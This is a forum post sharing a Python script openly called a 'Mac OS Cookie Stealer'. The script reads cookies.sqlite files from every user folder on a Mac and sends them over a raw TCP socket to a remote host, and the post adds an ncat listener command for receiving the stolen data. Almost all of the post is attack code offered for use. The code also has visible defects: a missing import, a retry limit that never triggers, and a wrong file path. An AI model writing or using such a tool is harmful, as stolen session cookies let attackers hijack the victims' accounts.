Mac OS Cookie Stealer
#1
This is just a little something I'm working on. Basically it's just a command line python script that grabs the cookies from the Firefox cookies.sqlite db. It's still in development, so keep that in mind. Usage is 
Code:
./cookie_catcher.py <host> <port>
 
Host is the IP of the computer to send the DB back to, port is the port to send it to. The tool opens up a raw TCP socket to the host/port and sends the data. So just open up a netcat listener to receive the data like so:
Code:
ncat -lkv --recv-only 31337
 
Here's the code. Enjoy!
 
Code:
#!/usr/bin/env python
# Steals firefox cookies from mac os
import socket, sys, os

host = (sys.argv[1], int(sys.argv[2]))
def grab_cookie(filename):
    try:
        with open(filename, 'r') as cookie_file:
            data = bytes(cookie_file.read(), 'utf-8')
            cookie_file.close()
            return data
    except:
        return False

for user in os.listdir(path='/Users'):
    print('Getting cookies from user {}'.format(user))
    cookie = grab_cookie('/Users/{}/cookies.sqlite'.format(user))
   
    if cookie == False:
        continue
   
    try_count = 0
    if try_count == 3:
        print('Could not send cookies back')
        continue

    while True:
        try:
            so = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            so.connect(host)
            so.sendall(cookie)
            so.close()
            break
        except Exception as error:
            try_count += 1
            print('Error occurred: {}. Retrying...'.format(error))
            time.sleep(10)
Reply